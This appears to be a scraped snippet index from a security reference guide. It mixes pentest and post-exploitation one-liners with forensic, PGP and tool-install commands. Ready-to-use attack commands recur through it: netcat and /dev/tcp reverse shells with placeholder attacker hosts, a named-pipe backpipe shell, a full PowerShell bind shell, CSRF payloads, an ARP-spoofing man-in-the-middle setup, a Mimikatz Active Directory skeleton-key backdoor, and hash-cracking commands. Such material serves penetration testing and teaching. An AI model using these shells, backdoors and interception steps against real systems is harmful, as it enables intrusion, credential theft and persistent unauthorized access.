s0cm0nkey's Security Reference Guide

https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide
Admin
A comprehensive curated collection of cybersecurity tools, resources, and best practices organized...
Tokens:279,966
Snippets:3,081
Trust Score:10
Update:10 months ago
Show doc for...
Tokens:
Raw
### Install and Start Nessus Service

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/red-offensive/testing-methodology/scanning-active-recon

This snippet provides commands to install Nessus on Debian-based systems and start its service. It requires a .deb package for installation and then uses system init scripts to manage the service. After starting, Nessus is accessible via a web browser.

```bash
#sudo apt install ./Nessus-X.X.X.deb
#sudo /etc/init.d/nessusd start
```

--------------------------------

### Install PenTesters Framework (PTF)

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/code-tools/bash/install-scripts

This script installs the PenTesters Framework (PTF) by cloning the repository and then running its setup script. It also includes commands to install various module categories within PTF.

```bash
sudo su -
apt-get update
apt-get install python
git clone https://github.com/trustedsec/ptf/opt/ptf
cd /opt/ptf && ./ptf
use modules/exploitation/install_update_all
use modules/intelligence-gathering/install_update_all
use modules/post-exploitation/install_update_all
use modules/powershell/install_update_all
use modules/vulnerability-analysis/install_update_all
cd /pentest
```

--------------------------------

### Node.js FTP Server Setup

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/red-offensive/post-exploitation/file-transfer

Establishes an FTP server using the ftp-srv npm package. Requires global installation of the package. The server listens on the specified address and port, serving files from the specified root directory.

```bash
sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp
```

--------------------------------

### Netcat: Execute Command and Reverse Shell

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/red-offensive/exploit-research/shells

Examples of using Netcat to launch commands upon connection and establishing a reverse shell. This includes a scenario where the -e option is unavailable, requiring a workaround using named pipes.

```bash
# Launch command upon connection
# nc -nlvp [port] -e cmd.exe

# Reverse shell
# TARGET # nc [ip] [port] -e /bin/bash
# ATTACKER # nc -n -vv -l -p [port]

# Netcat with GAPING _SECURITY_HOLE_ disabled (backpipe)
# TARGET # mknod backpipe p && nc [ip] [port] 0<backpipe | /bin/bash 1>backpipe
# ATTACKER # nc -n -vv -l -p [port]
```

--------------------------------

### HTML GET and POST Request Examples for CSRF

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/red-offensive/exploit-research/attacks-and-vulnerabilities/csrf

Illustrates how Cross-Site Request Forgery (CSRF) attacks can be initiated using simple HTML GET and POST requests. These examples demonstrate embedding malicious links or forms that trick users into performing unintended actions.

```html
<a href="http://www.example.com/api/setusername?username=uname">Click Me</a>
```

```html
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
 <input name="username" type="hidden" value="uname" />
 <input type="submit" value="Submit Request" />
</form>
```

--------------------------------

### Python FTP Server Setup

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/red-offensive/post-exploitation/file-transfer

Sets up a basic FTP server using Python's pyftpdlib library. Requires installation via pip. The server listens on the specified port (defaulting to 21).

```python
# Install: pip3 install pyftpdlib
# Run:
python3 -m pyftpdlib -p 21
```

--------------------------------

### Upgrading a Shell with rlwrap and Netcat

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/red-offensive/exploit-research/shells

This method involves using 'rlwrap' (readline wrapper) with Netcat to establish a more interactive shell. It requires installing 'rlwrap' on the victim machine and is often followed by commands to set up the terminal.

```bash
# sudo apt install rlwrap
# rlwrap nc -lvnp
```

--------------------------------

### Pure-FTP Server Installation and Configuration

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/red-offensive/post-exploitation/file-transfer

Installs and configures Pure-FTPd server on a Debian-based system. Includes user and group creation, setting up virtual users, and restarting the service. Suitable for a dedicated FTP server.

```bash
# Installation:
sudo apt update && sudo apt install pure-ftpd

# Configuration Script:
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
```

--------------------------------

### Setup and Update OpenVAS

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/red-offensive/testing-methodology/scanning-active-recon

These commands are used to set up and update the OpenVAS vulnerability scanner. 'openvas-setup' initializes the scanner, and 'openvas-feed-update' ensures the vulnerability signatures are current. After setup, you can check if OpenVAS is running using 'ss -lnt4' and access its WebUI.

```bash
# openvas-setup
# openvas-feed-update
#ss -lnt4
```

--------------------------------

### Setup MITM Attack with BDFProxy and iptables

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/red-offensive/post-exploitation/persistence

This snippet details the setup for a Man-in-the-Middle (MITM) attack using BDFProxy and configuring iptables for traffic redirection. It requires BDFProxy to be installed and knowledge of network interfaces and IP addresses.

```bash
#bdfproxy
#msfconsole -r /usr/share/bdfproxy/bdfproxy_msf_resource.rc
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
arpspoof -i eth0 [ip-vitim] [ip gateway]
arpspoof -i eth0 [ip gateway] [ip-victim]
```

--------------------------------

### C File Creation and Compilation Example

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/red-offensive/post-exploitation/privilege-escalation

Demonstrates how to create a C file that produces an output file and then compile it using GCC. This snippet is useful for understanding basic C programming and compilation processes.

```c
#include <stdio.h>

int main() {
    FILE *fp;
    fp = fopen("output.txt", "w");
    fprintf(fp, "This is a test file created by a C program.\n");
    fclose(fp);
    return 0;
}
```

```bash
gcc your_program.c -o output_executable
./output_executable
```

--------------------------------

### Get WMI Namespaces - PowerShell

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/dfir-digital-forensics-and-incident-response/windows-dfir-check-by-mitre-tactic

Recursively retrieves all WMI namespaces starting from a specified path (defaulting to 'root'). This function is useful for understanding the WMI hierarchy on a system.

```powershell
Function Get-WmiNamespace ($Path = 'root')
{
	foreach ($Namespace in (Get-WmiObject -Namespace $Path -Class __Namespace))
	{
		$FullPath = $Path + "/" + $Namespace.Name
		Write-Output $FullPath
		Get-WmiNamespace -Path $FullPath
	}
}
Get-WMINamespace -Recurse
```

--------------------------------

### Collect Host Data with CrowdResponse

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/dfir-digital-forensics-and-incident-response

This example demonstrates how to use Crowdstrike's CrowdResponse tool for static host data collection. It requires a configuration file (config.txt) and outputs the collected data in XML format (out.xml). Ensure CrowdResponse is downloaded and configured.

```bash
CrowdResponse -v -i config.txt -o out.xml
```

--------------------------------

### Clearsign and encrypt a message using gpg

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/grey-privacy-tor-opsec/pgp-guide

This example shows how to first clearsign a message and then encrypt it using 'gpg'. This ensures both the authenticity of the message and its confidentiality. The recipient will need the sender's public key to decrypt and their private key to verify the signature.

```shell
cat <<END | gpg --clearsign | gpg -a -r opie_ -e

This message will be clearsigned and then encrypted. Second line just because. END
-----BEGIN PGP MESSAGE-----

KEY DATA

-----END PGP MESSAGE-----
```

--------------------------------

### JavaScript Examples for CSRF Attacks (GET and POST)

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/red-offensive/exploit-research/attacks-and-vulnerabilities/csrf

Demonstrates how JavaScript's XMLHttpRequest can be used to perform CSRF attacks. These examples show creating and sending GET and POST requests to a target server, potentially with malicious payloads.

```javascript
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
```

```javascript
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
```

--------------------------------

### Export and clearsign public key using gpg

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/grey-privacy-tor-opsec/pgp-guide

Demonstrates exporting a public key and immediately clearsigning it using 'gpg'. This is useful for distributing your public key in a verifiable manner. The output includes the public key block and its corresponding signature.

```shell
gpg -a --export opie_ | gpg --clearsign
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

-----BEGIN PGP PUBLIC KEY BLOCK-----

KEY DATA

-----END PGP PUBLIC KEY BLOCK-----

-----BEGIN PGP SIGNATURE-----

SIGNATURE DATA

-----END PGP SIGNATURE-----
```

--------------------------------

### Install Powershell on Linux

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/code-tools/bash/install-scripts

This script installs Powershell on a Debian-based Linux distribution. It requires installing several .deb packages, including libssl1.0.0 and libicu55, before downloading and installing the Powershell package itself.

```bash
apt-get install libunwind8
wget http://security.debian.org/debian-security/pool/updates/main/o/openssl/libssl1.0.0_1.0.1t-1+deb7u3_amd64.deb
dpkg -i libssl1.0.0_1.0.1t-1+deb7u3_amd64.deb
wget http://security.ubuntu.com/ubuntu/pool/main/i/icu/libicu55_55.1-7ubuntu0.3_amd64.deb
dpkg -i libicu55_55.1-7ubuntu0.3_amd64.deb
wget https://github/com/Powershell/Powershell/releases/download/v6.0.2/powershell_6.0.2-1.ubuntu.16.04_amd64.deb
dpkg -i powershell_6.0.2-1.ubuntu.16.04_amd64.deb
```

--------------------------------

### Listing and Running NSE Scripts with Nmap

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/red-offensive/scanning-active-recon

Demonstrates how to list available NSE scripts and their details, filter for vulnerability and exploit scripts, and execute scripts in the 'vuln' category against a target IP. Requires Nmap to be installed. The output will vary based on the scripts run and the target.

```bash
# nmap --script-help default
# cat script.db | grep "vuln"|"exploit"
# sudo nmap --script vuln [ip]
```

--------------------------------

### Install Skeleton Key with Mimikatz

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/red-offensive/post-exploitation/enumeration-and-harvesting

This command uses Mimikatz to enable debug privileges and install the 'skeleton key' functionality. This allows for the creation of a backdoor in Active Directory.

```bash
mimikatz.exe "privilege::debug" "misc::skeleton" exit
```

--------------------------------

### List Installed Software Packages

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/dfir-digital-forensics-and-incident-response/linux-dfir-commands

Lists the executables present in standard binary directories like /usr/bin and /usr/local/bin. This command helps in identifying installed software and potential unauthorized applications.

```bash
ls /usr/bin/
```

```bash
ls /usr/local/bin/
```

--------------------------------

### List Startup Commands (Windows Command Prompt)

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/dfir-digital-forensics-and-incident-response/windows-system-enumeration

These commands query Windows Management Instrumentation (WMI) to list programs configured to run at startup. They provide both a full and brief output, detailing the command, its location, and associated user, which is crucial for identifying unauthorized or malicious startup entries.

```batch
wmic startup list full
wmic startup list brief
```

--------------------------------

### Install and Run Pagodo (Passive Google Dork)

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/cyber-intelligence/osint/search-engines

This snippet provides instructions for installing and running the Pagodo tool, a Python-based script for automating Google Hacking Database scraping and searching. It covers cloning the repository, setting up a virtual environment, installing dependencies, and executing the scraper and main script.

```Shell
##Install
git clone https://github.com/opsdisk/pagodo.git
cd pagodo
virtualenv -p python3.7 .venv           #If using a virtual environment.
source .venv/bin/activate               #If using a virtual environment.
pip install -r requirements.txt

##Get Latest GHDB
python ghdb_scraper.py -s -j -i

##Run All Dorks
python pagodo.py -d example.com -g dorks/all_google_dorks.txt
```

--------------------------------

### Encrypt and Decrypt Files with OpenSSL AES-256-CBC

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/grey-privacy-tor-opsec

Demonstrates how to encrypt a file using AES-256-CBC with PBKDF2 and a specified key, and how to decrypt it. Requires OpenSSL to be installed.

```bash
openssl enc -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt >input.txt.enc
```

```bash
openssl enc -d -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt.enc >input.txt
```

--------------------------------

### SQL Injection - Numerical Input

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/red-offensive/exploit-research/attacks-and-vulnerabilities/sql-injection/sql-tips-and-tricks

A simple example showing how to append SQL injection payloads after a numerical parameter, typically used in GET requests.

```sql
&news_id=1 union select...
```

--------------------------------

### Python SSL Heartbleed Vulnerability Scanner Setup

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/code-tools/bash/heartbleed-vuln-check

This section covers the initial setup for the Heartbleed scanner, including necessary imports, global variables, and command-line argument parsing. It defines options for port, input files, logging, timeout, threading, and output formats.

```python
import sys
import struct
import socket
import time
import select
import re
import threading
import netaddr
import json
import os
import datetime
import signal
from optparse import OptionParser
from collections import defaultdict
from multiprocessing.dummy import Pool

host_status = {}
hosts_to_skip = []
counter = defaultdict(int)
lock = threading.Lock()

options = OptionParser(usage='%prog <network> [network2] [network3] ...', description='Test for SSL heartbleed vulnerabil$')
options.add_option('--port', '-p', dest="port", default=443, help="Port to scan on all hosts or networks, default 443")
options.add_option('--input', '-i', dest="input_file", default=[], action="append", help="Optional input file of networks$")
options.add_option('--logfile', '-o', dest="log_file", default="results.txt", help="Optional logfile destination")
options.add_option('--resume', dest="resume", action="store_true", default=False, help="Do not rescan hosts that are alre$")
options.add_option('--timeout', '-t', dest="timeout", default=5, help="How long to wait for remote host to respond before$")
options.add_option('--threads', dest="threads", default=100, help="If specific, run X concurrent threads")
options.add_option('--json', dest="json_file", default=None, help="Save data as json into this file")
options.add_option('--only-vulnerable', dest="only_vulnerable", action="store_true", default=False, help="Only scan hosts$")
options.add_option('--only-unscanned', dest="only_unscanned", action="store_true", default=False, help="Only scan hosts t$")
options.add_option('--summary', dest="summary", action="store_true", default=False, help="Useful with --json. Don't scan,$")
options.add_option('--verbose', dest="verbose", action="store_true", default=False, help="Print verbose information to sc$")
options.add_option('--max', dest="max", default=None, help="Exit program after scanning X hosts. Useful with --only-unsca$")
opts, args = options.parse_args()

threadpool = Pool(processes=int(opts.threads))
```

--------------------------------

### Connect to VNC Server

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/red-offensive/exploit-research/exploitation

Command to connect to a VNC server using the vncviewer client.

```bash
vncviewer 192.168.1.1
```

--------------------------------

### Cisco Torch Command

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/red-offensive/exploit-research/special-targets

Usage example for Cisco Torch, a Cisco device vulnerability scanner. The command requires the target IP address with the -A flag.

```bash
# cisco-torch -A [Target IP]
```

--------------------------------

### Post-Connection RPC Commands

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/red-offensive/exploit-research/exploitation

A list of commands to execute after establishing a connection to an RPC service for enumeration purposes.

```bash
srvinfo
enumdomusers
getdompwinfo
querydominfo
netshareenum
netshareenumall
```

--------------------------------

### File Creation (touch/mkdir)

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/code-tools/bash/common-commands

Commands to create a new empty file or a new directory in the current working directory.

```bash
# Create new empty file
# touch (file name)
# Create new dir in current working dir
# mkdir (dir name)
```

--------------------------------

### Enumerate Drivers and Identify Unsigned Drivers (T1067)

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/dfir-digital-forensics-and-incident-response/windows-dfir-check-by-mitre-tactic

This section provides commands to enumerate all drivers on a system, including their installation paths and last write times. It then filters for unsigned drivers by checking their Authenticode signature status. This is useful for detecting potential rootkit or malicious driver installations.

```powershell
gci C:\Windows\*\DriverStore\FileRepository\ -recurse -include *.inf | FL FullName,LastWriteTime,LastWriteTimeUtc
gci -path C:\Windows\System32\drivers -include *.sys -recurse -ea SilentlyContinue
sc.exe query type=driver state=all
```

```powershell
Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-CodeIntegrity/Operational'; Id='3001'} | FL TimeCreated,Message
gci -path C:\Windows\System32\drivers -include *.sys -recurse -ea SilentlyContinue | Get-AuthenticodeSignature | where {$_.status -ne 'Valid'}
```

--------------------------------

### Cisco OCS Scanner Command

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/red-offensive/exploit-research/special-targets

Command-line usage for Cisco OCS Scanner, a mass Cisco scanning tool. It requires a start and stop IP address for the scanning range.

```bash
# cisco-ocs [Start IP] [Stop IP]
```

--------------------------------

### SMB/NetBIOS Enumeration with enum4linux-ng

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/red-offensive/exploit-research/exploitation

Perform comprehensive SMB enumeration using enum4linux-ng, including user and share information.

```bash
enum4linux -a 10.10.10.10
```

--------------------------------

### John The Ripper: Cracking /etc/shadow Hashes

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/red-offensive/password-attacks

Cracks hashes from the /etc/shadow file by first combining it with /etc/passwd using the 'unshadow' tool. This example shows the process and cracking a SHA512crypt hash.

```bash
# unshadow local_passwd local_shadow > unshadowed.txt
# john --format=sha512crypt unshadowed.txt
```

--------------------------------

### Connect to RPC using rpcclient

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/red-offensive/exploit-research/exploitation

Connect to an RPC service using the rpcclient utility. The -U option is used to specify user credentials, and an empty string can be used for null sessions.

```bash
#rpcclient -U "" [target]
```

--------------------------------

### Search for Executable/DLL in Startup Shortcuts (PowerShell)

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/dfir-digital-forensics-and-incident-response/windows-dfir-check-by-mitre-tactic

These commands search for shortcut files (.lnk) in user and all-users startup folders that reference executable or DLL files. This can help identify potentially malicious startup entries.

```powershell
Select-String -Path "C:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\*.lnk" -Pattern "exe"
Select-String -Path "C:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\*.lnk" -Pattern "dll"
Select-String -Path "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\*" -Pattern "dll"
Select-String -Path "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\*" -Pattern "exe"
gci -path "C:\Users\" -recurse -include *.lnk -ea SilentlyContinue | Select-String -Pattern "exe" | FL
gci -path "C:\Users\" -recurse -include *.lnk -ea SilentlyContinue | Select-String -Pattern "dll" | FL
```

--------------------------------

### John The Ripper: Single Crack Mode

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/red-offensive/password-attacks

Utilizes single crack mode for password cracking, often used for word mangling based on usernames. This example targets raw SHA256 hashes.

```bash
# john --single --format=raw-sha256 hashes.txt
```

--------------------------------

### Connect to PostgreSQL Server

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/red-offensive/exploit-research/exploitation

Commands to connect to a PostgreSQL server using the psql client and to dump a specific table from a database.

```bash
psql -h 10.1.1.111 -U postgres -W
pg_dump --host=10.1.1.111 --username=postgres --password --dbname=template1 --table='users' -f output_pgdump
```

--------------------------------

### Cisco Auditing Tool (CAT) Usage

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/red-offensive/exploit-research/special-targets

Example of using the Cisco Auditing Tool (CAT) to scan Cisco routers for common vulnerabilities. It requires the target host IP, port, and a wordlist path.

```bash
# CAT -h 192.168.99.230 -p 23 -a /usr/share/wordlists/nmap.lst
```

--------------------------------

### Connect to MySQL Server

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/red-offensive/exploit-research/exploitation

This command connects to a MySQL server using the mysql client. It requires the IP address, username, and password.

```bash
#mysql -h [IP] -u [username] -p
```

--------------------------------

### Create and Manage Bash Init Service

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/red-offensive/post-exploitation/persistence

This snippet demonstrates how to create a functional Bash init script for a service, enable it with `update-rc.d`, and manage its start/stop states using the `service` command. It requires root privileges and a basic understanding of Bash scripting.

```bash
# Create init script at /etc/init.d/service
sudo update-rc.d service enable
# Add respawn command in /etc/inittab
# id:2345:respawn:/bin/sh /path/to/application/startup
sudo service service stop
sudo service service start
```

--------------------------------

### Rainbow Crack: Table Generation

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/red-offensive/password-attacks

RainbowCrack is an implementation of Philippe Oechslin's time-memory trade-off technique for cracking hashes using rainbow tables. This example shows a command to generate a rainbow table.

```bash
# Example: Generate a time-memory tradeoff table for MD5 hashes
# time M=100000 H=4 P=1000000
# ./gendb mds5 <your_charset> md5_table.dat
# Note: Actual command and parameters may vary based on the specific rainbowcrack version and desired table characteristics.
```

--------------------------------

### PowerShell Bind Shell One-Liner

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/red-offensive/exploit-research/shells

A PowerShell command to create a bind shell. It starts a TCP listener on all interfaces and port 443, accepts a client connection, and then executes commands received from the client, sending back output and the current path.

```powershell
powershell -c "$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',443);$listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();$listener.Stop()"
```

--------------------------------

### Netcat Bind and Reverse Shells (Linux)

Source: https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/red-offensive/exploit-research/shells

Demonstrates basic bind and reverse shell techniques using Netcat on Linux systems. These methods are fundamental for remote command execution but lack encryption.

```bash
# TARGET # /bin/bash -i > /dev/tcp/[IP]/[port] 0<&1 2>&1
# ATTACKER # nc -n -vv -l -p [port]
```

```bash
# TARGET # mknod backpipe p && telnet [ip] [port] 0<backpipe | /bin/bash 1>backpipe
# ATTACKER # nc -n -vv -l -p [port]
```

```bash
# Linux listener bind shell, executes bin bash on connection
# mkfifo /tmp/f; nc -lvnp < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
```
Tokens:
Raw